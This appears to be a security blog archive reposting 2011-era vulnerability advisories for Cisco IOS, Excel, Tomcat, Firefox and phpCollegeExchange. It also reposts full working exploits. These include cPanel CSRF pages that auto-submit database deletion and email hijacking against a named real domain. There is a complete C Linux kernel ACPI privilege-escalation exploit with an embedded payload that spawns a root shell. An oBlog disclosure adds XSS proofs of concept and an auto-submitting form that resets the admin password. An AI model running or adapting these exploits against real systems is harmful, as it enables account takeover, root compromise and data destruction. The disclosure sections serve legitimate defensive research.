Oct 04

Advisory ID: cisco-sa-20110928-ipv6
http://www.cisco.com/warp/public/707/cisco-sa-20110928-ipv6.shtml

Revision 1.1

Last Updated 2011 September 30 2330 UTC (GMT)
For Public Release 2011 September 28 1600 UTC (GMT)

Contents

Summary
Affected Products
Details
Vulnerability Scoring Details
Impact
Software Versions and Fixes
Workarounds
Obtaining Fixed Software
Exploitation and Public Announcements
Status of this Notice: FINAL
Distribution
Revision History
Cisco Security Procedures


Summary

Cisco IOS Software contains a vulnerability in the IP version 6 (IPv6) protocol stack implementation that could allow an unauthenticated, remote attacker to cause a reload of an affected device that has IPv6 enabled. The vulnerability may be triggered when the device processes a malformed IPv6 packet.

Cisco has released free software updates that address this vulnerability. There are no workarounds to mitigate this vulnerability.

This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20110928-ipv6.shtml.

Note: The September 28, 2011, Cisco IOS Software Security Advisory bundled publication includes ten Cisco Security Advisories. Nine of the advisories address vulnerabilities in Cisco IOS Software, and one advisory addresses a vulnerability in Cisco Unified Communications Manager. Each advisory lists the Cisco IOS Software releases that correct the vulnerability or vulnerabilities detailed in the advisory as well as the Cisco IOS Software releases that correct all vulnerabilities in the September 2011 Bundled Publication.

Individual publication links are in "Cisco Event Response: Semiannual Cisco IOS Software Security Advisory Bundled Publication" at the following link:

http://www.cisco.com/web/about/security/intelligence/Cisco_ERP_sep11.html

Refrence:
 http://www.cisco.com/en/US/products/products_security_advisory09186a0080b95d59.shtml

Tagged with:
Sep 15
I. BACKGROUND

Excel is the spreadsheet application included with Microsoft Corp.’s Office productivity software suite. More information is available at the following website:

http://office.microsoft.com/excel/

II. DESCRIPTION

Remote exploitation of an integer signedness vulnerability in Microsoft Corp.’s Excel could allow an attacker to execute arbitrary code with the privileges of the current user.

The vulnerability is an integer signedness issue that leads to an invalid array indexing vulnerability. It is triggered by a certain record with a negative ‘iax’ field.

It is possible to pass negative 16-bit values, which are later sign extended to 32 bits. The sign extended value is later used as an index into a heap-based array. Due to the incomplete validation of the ‘iax’ field, it is possible to index outside of the bounds of the array, which can lead to a controlled overwrite of arbitrary memory locations with user data. This can lead to the execution of arbitrary code.

III. ANALYSIS

Exploitation of this vulnerability results in the execution of arbitrary code with the privileges of the user opening the file. To exploit this vulnerability, an attacker needs to convince a user to open a malicious file. Attackers typically accomplish this by e-mailing a targeted user the file or hosting the file on a Web page.

IV. DETECTION

Microsoft has reported the following products vulnerable:

    * Microsoft Excel 2003 SP 3
    * Microsoft Excel 2007 SP 2
    * Microsoft Office 2007 SP 2
    * Microsoft Excel 2010 (32-bit editions)
    * Microsoft Excel 2010 SP 1 (32-bit editions)
    * Microsoft Office 2010 and Microsoft Office 2010 SP 1 (32-bit editions)
    * Microsoft Excel 2010 (64-bit editions)
    * Microsoft Excel 2010 SP 1 (64-bit editions)
    * Microsoft Office 2010 and Microsoft Office 2010 SP 1 (64-bit editions)
    * Microsoft Office 2004 for Mac
    * Microsoft Office 2008 for Mac
    * Microsoft Office for Mac 2011
    * Open XML File Format Converter for Mac
    * Microsoft Excel Viewer SP 2
    * Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP 2
    * Excel Services
    * Microsoft Excel Web App 2010 and Microsoft Excel Web App 2010 SP 1
V. WORKAROUND

Microsoft suggested workarounds can be found under the Workaround section within Microsoft Security Bulletin MS11-072.

http://technet.microsoft.com/en-us/security/bulletin/ms11-072

VI. VENDOR RESPONSE

Microsoft has released fixes which addresses this issue. Information about downloadable vendor updates can be found by clicking on the URLs shown.

http://technet.microsoft.com/en-us/security/bulletin/ms11-072

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2011-1987 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems.

VIII. DISCLOSURE TIMELINE

02/25/2011 Initial Vendor Notification

02/25/2011 Vendor Reply

09/13/2011 Coordinated Public Disclosure

IX. CREDIT

This vulnerability was reported to iDefense by Sean Larsson, iDefense Labs.

Get paid for vulnerability research

http://labs.idefense.com/methodology/vulnerability/vcp.php

Free tools, research and upcoming events

http://labs.idefense.com/

X. LEGAL NOTICES

Copyright © 2011 Verisign

Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customer service for permission.

Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

Tagged with:
Sep 14

Test Code:

[+] Info=======================================================

[-] Exploit Title: cPanel < 11.30.2 Multiple CSRF Vulnerabilities
[-] Author: Net.Edit0r
[-] Home : Black-HG.Org ~ h4ckcity.org
[-] Version: 11.30.2
[-] Software Link: http://cpanel.net
[-] Email : Black.hat.tm[at]Gmail[dot]Com / Net.Edit0r[at]att[dot]net
[-] Date : 27/08/2011
[-] CVE : N/A
[-] Vedio Demo : http://www.black-hg.org/Vedioz/cpanel.rar
[-] Tnx2 : A.Cr0x & 3H34N & 4m!n & Cyrus & tHe.k!ll3r & Mr.XHat & Mikili

[+] Exploit=====================================================

[-]  Introduction :

cPanel versions below and excluding 11.30.2 , are vulnerable to CSRF which
leads to Change email address script of the attackers liking. If you have turned
off security tokens and referrer security check, no matter what version you
are using, you are vulnerable as well.

Note: You can use this vulnerability to do intelligent

[-]  Remote Delete Database

<html>
<head>
<body>
<title>Coded By #BHG</title>
<form method="post"
action=https://www.downloadpars.ir:2083/cpsess1461226313/frontend/x3/sql
/deldb.html

name="mainform" id="mainform">
        <h4>Delete Database</h4>
        <div class="highlight">
        <table cellpadding="3" cellspacing="0">
    <tr>
        <td><label for="dbname">Victim Database:</label></td>
        <td><input type="text" name="db" id="dbname" style="width: 150px" /></td>
        </tr>
    <td> </td>
                <td><center><input type="submit" id="submit_dbname"
value="Delete Database" class="input-button" /></center></td>
                <body onload="document.forms.g.submit();">
    <td></td>
        </tr>
        </table>
        </div>
    </form>
</div>
</body>
</html>

[-]  Remote Change Cpanel Mail

<html>
<head>
<body>
<title>Coded By #BHG</title>
<form id="mainform" name="mainform"
action=https://www.downloadpars.ir:2083/cpsess8033607818/frontend/x3/contact/
saveemail.html?email=
>
<ul class="contact_form">

        <li class="contact_label">Chenge New Email Address</li>
        <li class="contact_input brd"><input id="email" name="email"
type="text" checked="checked" value="net.edit0r@gmail.com" size="40"
/></li>
        <li class="contact_label">The second address to receive
notifications</li>
        <li class="contact_input brd"><input id="second_email"
name="second_email" type="text" checked="checked" value="" size="40"
/></li>

        <li><strong>Contact Preferences</strong></li>

        <li class="contact_input"><input id="notify_disk_limit"
name="notify_disk_limit" type="checkbox" checked="checked" value="1"
size="40" />Send notifications to your contact email address when you
are reaching your disk quota.</li>
   
        <li class="contact_input"><input id="notify_bandwidth_limit"
name="notify_bandwidth_limit" type="checkbox" checked="checked"
value="1" size="40" />Send notifications to your contact email address
when you are reaching your bandwidth usage limit.</li>
   
        <li class="contact_input"><input id="notify_email_quota_limit"
name="notify_email_quota_limit" type="checkbox" checked="checked"
value="1" size="40" />Send notifications to your contact email address
when one of your email accounts approaches or is over quota.</li>

    <input style="margin-top:10px" type="submit" id="submit-button"
class="input-button" value="Save"></div></li>

</ul>
<br />

</form>
</div>
</body>
</html>

Tagged with:
Sep 02

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:
- Tomcat 7.0.0 to 7.0.20
- Tomcat 6.0.0 to 6.0.33
- Tomcat 5.5.0 to 5.5.33
- Earlier, unsupported versions may also be affected

Description:
Apache Tomcat supports the AJP protocol which is used with reverse
proxies to pass requests and associated data about the request from the
reverse proxy to Tomcat. The AJP protocol is designed so that when a
request includes a request body, an unsolicited AJP message is sent to
Tomcat that includes the first part (or possibly all) of the request
body. In certain circumstances, Tomcat did not process this message as a
request body but as a new request. This permitted an attacker to have
full control over the AJP message which allowed an attacker to (amongst
other things):
- insert the name of an authenticated user
- insert any client IP address (potentially bypassing any client IP
address filtering)
- trigger the mixing of responses between users

The following AJP connector implementations are not affected:
org.apache.jk.server.JkCoyoteHandler (5.5.x – default, 6.0.x – default)

The following AJP connector implementations are affected:

org.apache.coyote.ajp.AjpProtocol (6.0.x, 7.0.x – default)
org.apache.coyote.ajp.AjpNioProtocol (7.0.x)
org.apache.coyote.ajp.AjpAprProtocol (5.5.x, 6.0.x, 7.0.x)

Further, this issue only applies if all of the following are are true
for at least one resource:
- POST requests are accepted
- The request body is not processed

Example: See https://issues.apache.org/bugzilla/show_bug.cgi?id=51698

Mitigation:
Users of affected versions should apply one of the following mitigations:
- Upgrade to a version of Apache Tomcat that includes a fix for this
issue when available
- Apply the appropriate patch
  – 7.0.x http://svn.apache.org/viewvc?rev=1162958&view=rev
  – 6.0.x http://svn.apache.org/viewvc?rev=1162959&view=rev
  – 5.5.x http://svn.apache.org/viewvc?rev=1162960&view=rev
- Configure the reverse proxy and Tomcat’s AJP connector(s) to use the
requiredSecret attribute
- Use the org.apache.jk.server.JkCoyoteHandler AJP connector (not
available for Tomcat 7.0.x)

Credit:
The issue was reported via Apache Tomcat’s public issue tracker.
The Apache Tomcat security team strongly discourages reporting of
undisclosed vulnerabilities via public channels. All Apache Tomcat
security vulnerabilities should be reported to the private security team
mailing list: security@tomcat.apache.org

References:
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
http://tomcat.apache.org/security-5.html
https://issues.apache.org/bugzilla/show_bug.cgi?id=51698

Tagged with:
Aug 04

   This custom_method file allows to inject custom ACPI methods into the ACPI interpreter tables. This control file was introduced with world writeable permissions in Linux Kernel 2.6.33.

/*
* american-sign-language.c
*
* Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
*
*   This custom_method file allows to inject custom ACPI methods into the ACPI
*   interpreter tables. This control file was introduced with world writeable
*   permissions in Linux Kernel 2.6.33.
*
* Usage:
*
*   $ gcc american-sign-language.c -o american-sign-language
*   $ ./american-sign-language
*   [+] resolving required symbols…
*   [+] checking for world-writable custom_method…
*   [+] checking for an ACPI LID device…
*   [+] poisoning ACPI tables via custom_method…
*   [+] triggering ACPI payload via LID device…
*   [+] triggering exploit via futimesat…
*   [+] launching root shell!
*   # id
*   uid=0(root) gid=0(root) groups=0(root)
*
* Notes:
*
*   This vuln allows us to write custom ACPI methods and load them into the
*   kernel as an unprivileged user. We compile some fancy ASL down to AML
*   that overrides the ACPI method used when the status of the LID device is
*   queried (eg. ‘open’ or ‘closed’ lid on a laptop). When the method is
*   triggered, it overlays an OperationRegion on the physical address where
*   sys_futimesat is located and overwrites the memory via the Store to
*   escalate privileges whenever sys_futimesat is called.
*
*   The payload is 64-bit only and depends on the existence of a LID device
*   (eg. laptop), but the exploit will still tell you if you’re vulnerable
*   regardless. If you don’t know how to work around these limitations, you
*   probably shouldn’t be running this in the first place. :-P
*
*   Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>

/*
* The ASL payload looks like:
*
* DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0×00001001) {
*   Method (\_SB.LID._LID, 0, NotSerialized) {
*     OperationRegion (KMEM, SystemMemory, PHYADDR, 0×392)
*     Field(KMEM, AnyAcc, NoLock, Preserve) {
*       HACK, 0×392
*     }
*     Store (Buffer () {
*       0×55, 0×48, 0×89, 0xe5, 0×53, 0×48, 0×83, 0xec,
*       0×08, 0×48, 0xc7, 0xc3, 0×24, 0×24, 0×24, 0×24,
*       0×48, 0xc7, 0xc0, 0×24, 0×24, 0×24, 0×24, 0xbf,
*       0×00, 0×00, 0×00, 0×00, 0xff, 0xd0, 0×48, 0×89,
*       0xc7, 0xff, 0xd3, 0×48, 0xc7, 0xc0, 0xb7, 0xff,
*       0xff, 0xff, 0×48, 0×83, 0xc4, 0×08, 0x5b, 0xc9,
*       0xc3 }, HACK)
*     Return (One)
*   }
* }
*
* Feel free to `iasl -d` this is you don’t trust me! ;-)
*/
#define PAYLOAD_AML \
"\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \
"\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \
"\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \
"\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \
"\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \
"\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \
"\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \
"\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01"
#define PAYLOAD_LEN 144

#define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method"
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"

unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[512];
    struct utsname ver;
    int ret;
    int rep = 0;
    int oldstyle = 0;
 
    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        f = fopen("/proc/ksyms", "r");
        if (f == NULL)
            goto fallback;
        oldstyle = 1;
    }
 
repeat:
    ret = 0;
    while(ret != EOF) {
        if (!oldstyle)
            ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        else {
            ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
            if (ret == 2) {
                char *p;
                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                    continue;
                p = strrchr(sname, ‘_’);
                if (p > ((char *)sname + 5) && !strncmp(p – 3, "smp", 3)) {
                    p = p – 4;
                    while (p > (char *)sname && *(p – 1) == ‘_’)
                        p–;
                    *p = ”;
                }
            }
        }
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            fclose(f);
            return addr;
        }
    }
 
    fclose(f);
    if (rep)
        return 0;
fallback:
    uname(&ver);
    if (strncmp(ver.release, "2.6", 3))
        oldstyle = 1;
    sprintf(sname, "/boot/System.map-%s", ver.release);
    f = fopen(sname, "r");
    if (f == NULL)
        return 0;
    rep = 1;
    goto repeat;
}

int
main(int argc, char **argv)
{
    int ret;
    FILE *fp;
    char buf[64];
    struct stat sb;
    char payload[PAYLOAD_LEN] = PAYLOAD_AML;
    unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;

    printf("[+] resolving required symbols…\n");

    sys_futimesat = get_symbol("sys_futimesat");
    if (!sys_futimesat) {
        printf("[-] sys_futimesat symbol not found, aborting!\n");
        exit(1);
    }

    prepare_kernel_cred = get_symbol("prepare_kernel_cred");
    if (!prepare_kernel_cred) {
        printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
        exit(1);
    }

    commit_creds = get_symbol("commit_creds");
    if (!commit_creds) {
        printf("[-] commit_creds symbol not found, aborting!\n");
        exit(1);
    }

    printf("[+] checking for world-writable custom_method…\n");

    ret = stat(CUSTOM_METHOD, &sb);
    if (ret < 0) {
        printf("[-] custom_method not found, kernel is not vulnerable!\n");
        exit(1);
    }

    if (!(sb.st_mode & S_IWOTH)) {
        printf("[-] custom_method not world-writable, kernel is not vulnerable!\n");
        exit(1);
    }

    printf("[+] checking for an ACPI LID device…\n");

    ret = stat(HEY_ITS_A_LID, &sb);
    if (ret < 0) {
        printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n");
        exit(1);
    }

    if (sizeof(sys_futimesat) != 8) {
        printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n");
        exit(1);
    }

    sys_futimesat &= ~0xffffffff80000000;
    memcpy(&payload[63], &sys_futimesat, 4);
    memcpy(&payload[101], &commit_creds, 4);
    memcpy(&payload[108], &prepare_kernel_cred, 4);

    printf("[+] poisoning ACPI tables via custom_method…\n");

    fp = fopen(CUSTOM_METHOD, "w");
    fwrite(payload, 1, sizeof(payload), fp);
    fclose(fp);

    printf("[+] triggering ACPI payload via LID device…\n");

    fp = fopen(HEY_ITS_A_LID, "r");
    fread(&buf, 1, sizeof(buf), fp);
    fclose(fp);

    printf("[+] triggering exploit via futimesat…\n");

    ret = futimesat(0, "/tmp", NULL);

    if (ret != -1 || errno != EDOTDOT) {
        printf("[-] unexpected futimesat errno, exploit failed!\n");
        exit(1);
    }

    if (getuid() != 0) {
        printf("[-] privileges not escalated, exploit failed!\n");
        exit(1);
    }

    printf("[+] launching root shell!\n");
    execl("/bin/sh", "/bin/sh", NULL);
}

Tagged with:
Jun 23

Title: Use-after-free vulnerability when viewing XUL document with script disabled
Impact: Critical
Announced: June 21, 2011
Reporter: Martin Barbella
Products: Firefox, Thunderbird, SeaMonkey
Fixed in: Firefox 5
Firefox 3.6.18
Thunderbird 3.1.11

Description

Security researcher Martin Barbella reported that under certain conditions, viewing a XUL document while JavaScript was disabled caused deleted memory to be accessed. This flaw could potentially be used by an attacker to crash a victim’s browser and run arbitrary code on their computer.

References
Tagged with:
Dec 16

[-------------------------------------------------------------------------------------------------]
[   Application: oBlog                                                                            ]
[   Version: the only one there is :)                                                             ]
[   Download: http://www.dootzky.com/images/projects/oBlog.zip                                    ]
[   Author of this full disclosure: Milos Zivanovic                                               ]
[   Vulnerabilities: Persistant XSS, CSRF, Admin Bruteforce...                                    ]
[-------------------------------------------------------------------------------------------------]
Author of the application is contacted and author of this paper is not responsible for anything
you do after reading this text.
[#] Content:
|–Persistant XSS
|  |
|  |–Vulnerable function
|  |–XSS in article comments
|  |–XSS in add new article / Edit article, Naslov field (admin only)
|  |–XSS in add new group (category) / Edit group, Naslov field (admin only)
|  |–XSS in add link (blogroll) / Edit link, Ime prijatelja, Link fields (admin only)
|  |–XSS in settings (admin only)
|  |–NOTE!
|
|–Cross Site Request Forgery
|  |
|  |–Enable/Disable post
|  |–Enable/Disable category
|  |–Remove link
|  |–Logout admin
|  |–Change admin password
|  |–Change admin settings (name, lastname, PASSWORD, blog title, blog slogan, text about author)
|     |–Exploit
|
|–Admin Bruteforce
|
|–Blog Spaming with empty/junk comments
|
|–Conclusion
[#] Full Disclosure:
-[================================================================================================]
-[+]Persistant XSS:
-[================================================================================================]
Function used in this application for filtering input against different types of attacks is not
written good and does not escape html characters.
Vulnerable code:
/oBlog/php/functions.php line 66-94 (function protectInput)
[code---------------------------------------------------------------------------------------------]
// protect invalind input
function protectInput($data, $type)
{
    if ($type == 'int') {
        if ((!is_numeric($data)) || ($data < 0)) $data = -1;
    }
    elseif ($type == 'double') {
        if ((!is_numeric($data)) || ($data < 0)) $data = -1;
    }
    elseif ($type == 'doubleLOOSE') {
        if (!is_numeric($data)) $data = -1; // jer cu nekada hteti da dozvolim i negativni broj, npr: ODBICI = -50 eura
    }
    elseif ($type == 'str') {
        // minimum length
        if (strlen($data) == 0) $data = '--';
        // add slashes if needed
        $data = (!get_magic_quotes_gpc()) ? addslashes ($data) : $data;
    }
    elseif ($type == 'date') {
        // otpakuj datum, i pripremi ga za ubacivanje u bazu (YYYY-MM-DD)
        $tmp = explode('.', $data);
        $data = $tmp[2] .'-'. $tmp[1] .'-'. $tmp[0];
    }
    else {
        die('wrong data type?! functions.php -> protectInput();');
    }
    return $data;
}
[code---------------------------------------------------------------------------------------------]
As we can see there's no function that deals with escaping html characters thus enableing us to
insert malicious javascript code.
[-]XSS in article comments:
http://localhost/oBlog/article.php?aid=[ARTICLE ID]
When adding comment to blog post, we can insert javascript code into certain fields and it will not
be filtered, and pure javascript code will show one the page. Vulnerable fields: Ime, Komentar
/oBlog/article.php line 44-49 (function saveNewComment)
[code---------------------------------------------------------------------------------------------]
// get data
    $commentName    = protectInput($_POST['commentName'], 'str');
    $commentEmail   = protectInput($_POST['commentEmail'], 'str');
    $commentWeb     = protectInput($_POST['commentWeb'], 'str');
    $commentText    = protectInput($_POST['commentText'], 'str');
[code---------------------------------------------------------------------------------------------]
I've used this javascript just to test vulnerability:
[POC----------------------------------------------------------------------------------------------]
<script>alert(1)</script>
[POC----------------------------------------------------------------------------------------------]
[-]XSS in add new article / Edit article, Naslov field (admin only):
Add: http://localhost/oBlog/admin/write.php?new=entry
Edit: http://localhost/oBlog/admin/write.php?edit=[ARTICLE ID]
When creating new post (or edit) in admin panel, person can inject malicious javascript code into
field: Naslov and it will not be filtered, as it is using same protectInput function.
/oBlog/admin/write.php line 136-138 (function saveChanges)
[code---------------------------------------------------------------------------------------------]
// get data
    $article_id     = protectInput($_POST['article_id'], 'int');
    $title          = protectInput($_POST['title'], 'str');
[code---------------------------------------------------------------------------------------------]
The title of the post is showed in main page of the blog, as in the main page of the admin panel
so this could be used for hidden and more important dangerous permanent javascript.I've used this
javascript just to test vulnerability:
[POC----------------------------------------------------------------------------------------------]
<script>alert(1)</script>
[POC----------------------------------------------------------------------------------------------]
[-]XSS in add new group (category) / Edit group, Naslov field (admin only):
Add: http://localhost/oBlog/admin/groups.php?new=entry
Edit: http://localhost/oBlog/admin/groups.php?edit=[ARTICLE ID]
When creating new group or category(or editing), we can insert malicious javascript code into
field: Ime Grupe and it will not be filtered, this script also uses protectInput function.
/oBlog/admin/groups.php line 79-81 (function saveChanges)
[code---------------------------------------------------------------------------------------------]
// get data
    $category_id    = protectInput($_POST['category_id'], 'int');
    $category_name  = protectInput($_POST['category_name'], 'str');
[code---------------------------------------------------------------------------------------------]
Title of groups is showed in main page of the blog and in the Groups page in the admin panel.
I've used this javascript just to test vulnerability:
[POC----------------------------------------------------------------------------------------------]
<script>alert(1)</script>
[POC----------------------------------------------------------------------------------------------]
[-]XSS in add link (blogroll) / Edit link, Ime prijatelja, Link fields (admin only):
Add: http://localhost/oBlog/admin/blogroll.php?new=entry
Edit: http://localhost/oBlog/admin/blogroll.php?edit=[BLOGROLL ID]
When adding new link (or editing) we can insert malicious javascript code into fields: Ime
Prijatelja and Link. Field Ime Prijatelja is showed in the main page of the blog and in the
blogroll.php page of the admin panel, and field Link is exploitable only in admin panel
(blogpoll.php).
/oBlog/admin/blogroll.php line 67-69 (function saveChanges)
[code---------------------------------------------------------------------------------------------]
// get data
    $blogroll_id    = protectInput($_POST['blogroll_id'], 'int');
    $tile           = protectInput($_POST['title'], 'str');
[code---------------------------------------------------------------------------------------------]
I've used this javascript just to test vulnerability:
[POC----------------------------------------------------------------------------------------------]
<script>alert(1)</script>
[POC----------------------------------------------------------------------------------------------]
[-]XSS in settings (admin only):
http://localhost/oBlog/admin/settings.php
There we can edit fields Ime bloga and Moj slogan and put javascript which will be printed in every
page of our blog (not admin panel) and that is certainly not good.
/oBlog/admin/settings.php line 20-22
[code---------------------------------------------------------------------------------------------]
// settings
    $data['blog_name']     = protectInput($_POST['blog_name'], 'str');
    $data['tag_line']      = protectInput($_POST['tag_line'], 'str');
[code---------------------------------------------------------------------------------------------]
I've used this javascript just to test vulnerability:
[POC----------------------------------------------------------------------------------------------]
<script>alert(1)</script>
[POC----------------------------------------------------------------------------------------------]
[-]NOTE!
I didn't think about this at the begining of the search for the exploits mission, but i've just
realised that all of the 'admin only' XSS's i found can be injected via CSRF method.
-[================================================================================================]
-[+]Cross Site Request Forgery:
-[================================================================================================]
Author of this blogging system is not introduced with csrf vulnerability, so there were no tokens
or other security mesures used to secure this application against this type of attack.
[-]Enable/Disable post:
We can inject this link below into some <iframe> and with admin visiting the link it will disable
showing of certain article (depending on article id)
[POC---DISABLE------------------------------------------------------------------------------------]
http://localhost/oBlog/admin/write.php?publish=[ARTICLE ID]&action=0
[POC----------------------------------------------------------------------------------------------]
[POC---ENABLE-------------------------------------------------------------------------------------]
http://localhost/oBlog/admin/write.php?publish=[ARTICLE ID]&action=1
[POC----------------------------------------------------------------------------------------------]
[-]Enable/Disable category:
Another disable csrf. With this by opening this one admin will secretly disable showing all posts
from certain category (depending on category id)
[POC----DISABLE-----------------------------------------------------------------------------------]
http://localhost/oBlog/admin/groups.php?visible=[CATEGORY ID]&action=0
[POC----------------------------------------------------------------------------------------------]
[POC----ENABLE------------------------------------------------------------------------------------]
http://localhost/oBlog/admin/groups.php?visible=[CATEGORY ID]&action=1
[POC----------------------------------------------------------------------------------------------]
[-]Remove link:
With this csrf we can remove any or all links from the blogging system:
[POC----------------------------------------------------------------------------------------------]
http://localhost/oBlog/admin/blogroll.php?delete=[LINK ID]
[POC----------------------------------------------------------------------------------------------]
[-]Logout admin:
With this csrf we can logout admin without his knowledge:
[POC----------------------------------------------------------------------------------------------]
http://localhost/oBlog/admin/write.php?logout=user
[POC----------------------------------------------------------------------------------------------]
[*]Change admin password:
This is one of the most critical vulnerabilities i found in this application. Since there is no
CSRF protection, we can change admin's password. Here's the sweet data we need to send via POST
method for this to work:
[INFO---------------------------------------------------------------------------------------------]
submit = 1 // set it to any value, just set it :)
password1 = "hacked"
password2 = "hacked"
[INFO---------------------------------------------------------------------------------------------]
And send it to /oBlog/admin/settings.php script via POST method. That will change password for the
admin with default username 'admin' (you can't change that in admin panel or anywhere else).
[*]Change admin settings (name, lastname, PASSWORD, blog title, blog slogan, text about author)
[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/oBlog/admin/settings.php" method="POST">
  <input type="text" name="name" value="exploit">
  <input type="text" name="surname" value="for oBlog">
  <input type="text" name="nice_name" value="exploit for oBlog">
  <input type="text" name="blog_name" value="Exploited blog">
  <input type="text" name="tag_line" value="Free your mind and the ass will follow">
  <input type="password1" name="password1" value="hacked">
  <input type="password2" name="password2" value="hacked">
  <select name="posts_per_page">
    <option label="15" value="15" selected="selected">15</option>
  </select>
  <select name="theme">
    <option value="pedja" selected>pedja</option>
  </select>
  <textarea name="about">I have been hacked</textarea>
  <input type="submit" value="Snimi promene" name="submit" id="submitButton">
</form>
<script>document.forms[0].submit.click();</script>
[EXPLOIT------------------------------------------------------------------------------------------]
We can edit the fields and put the desired stuff in them. Since i've showed that some other parts
of the oBlog blogging system are vulnerable to persistant xss, we could use this to insert hidden
<iframe> with malicious content in the name of the blog. If you don't want to edit admin's password
remove value="hacked" from 2 lines above you find this in.
-[================================================================================================]
-[+]Admin Bruteforce
-[================================================================================================]
On the admin panel login script /oBlog/admin/index.php there is no security mesure against
bruteforce. A program could be made that would bruteforce the script and, depending on password
complexity, sooner or later, find the login info. Captcha system would come in handy to fix this
vulnerability.
-[================================================================================================]
-[+]Blog Spaming with empty/junk comments
-[================================================================================================]
When adding comments to posts there is no security mesure against bots (no captcha) and on top of
that script doesn't test the input if it's empty, using function protectInput from functions.php
that i posted in the begining of this text it only converts empty fields into '--'. So we can use
one link to generate junk comments.
[POC----------------------------------------------------------------------------------------------]
http://localhost/oBlog/article.php?aid=[ARTICLE ID]&comment=new
[POC----------------------------------------------------------------------------------------------]
-[================================================================================================]
-[+]Conclusion
-[================================================================================================]
oBlog web application is very small (less then 3 mb) and simple. Even tho it's small and simple
it is full of security holes, and as we all know security is something that should come in first
place and it should be our main goal to achive when coding web applications.
[-------------------------------------------------------------------------------------------------]
[                                              EOF                                                ]
[-------------------------------------------------------------------------------------------------]       

Tagged with:
Dec 13

Name              phpCollegeExchange
Vendor            http://phpcollegeex.sourceforge.net
Versions Affected 0.1.5c

Author            Salvatore Fresta aka Drosophila
Website           http://www.salvatorefresta.net
Contact           salvatorefresta [at] gmail [dot] com
Date              2009-12-11

X. INDEX

I.    ABOUT THE APPLICATION
II.   DESCRIPTION
III.  ANALYSIS
IV.   SAMPLE CODE
V.    FIX
VI.   DISCLOSURE TIMELINE

I. ABOUT THE APPLICATION

PhpCollegeExchange  is  a  full  fledged college community
website.

II. DESCRIPTION

This  application  is  affected   by  many  SQL  Injection
security flaws. In order to exploit they, the Magic Quotes
GPG (php.ini) must  be  Off.
In  this  security  advisory  I  reported only some of the
vulnerable files.
I tested 0.1.5c version only, however  other versions  may
be also vulnerable.

III. ANALYSIS

Summary:

A) Authentication Bypass
B) Multiple SQL Injection

A) Authentication Bypass

Using a SQL Injection in the login process,  a  guest  can
bypass the authentication.
In order to exploit it,  The Magic Quotes GPG flag must be
Off.

Vulnerable code (functions.php):

……..

function checkpass($handle,$pass){
  require_once($home."mysqlinfo.php");
  include("i_aeskey.php");
  $query="SELECT AES_DECRYPT(password,’$AES_key’) FROM users WHERE
(handle=’$handle’)";
  $result = mysql_query($query);

  if(mysql_num_rows($result))
  {
    if($r = mysql_fetch_array($result))
     {$dbpass=$r[0];}
     if($pass==$dbpass)
        {return 1;}

……..

B) Multiple SQL Injection

Searchend.php is affected by multiple SQL injection issues
that  allow  a guest  to view reserved  information stored
into  the database.
The following  is an example  of vulnerable  code found in
searchend.php.

Vulnerable code (searchend.php):

……..

$query = "SELECT * FROM Books";

if(isset($_POST['searchby'])){$searchby=$_POST['searchby'];}else{$searchby=$_GET['searchby'];}

switch($searchby){
……..

case "Title"  :

$title = $_POST['searchquery'];
if(strlen($title)>2){
//check length at least 3 chars

$query .= " WHERE (title LIKE ‘%$title%’) ORDER BY price";
$result = mysql_query($query);

……..

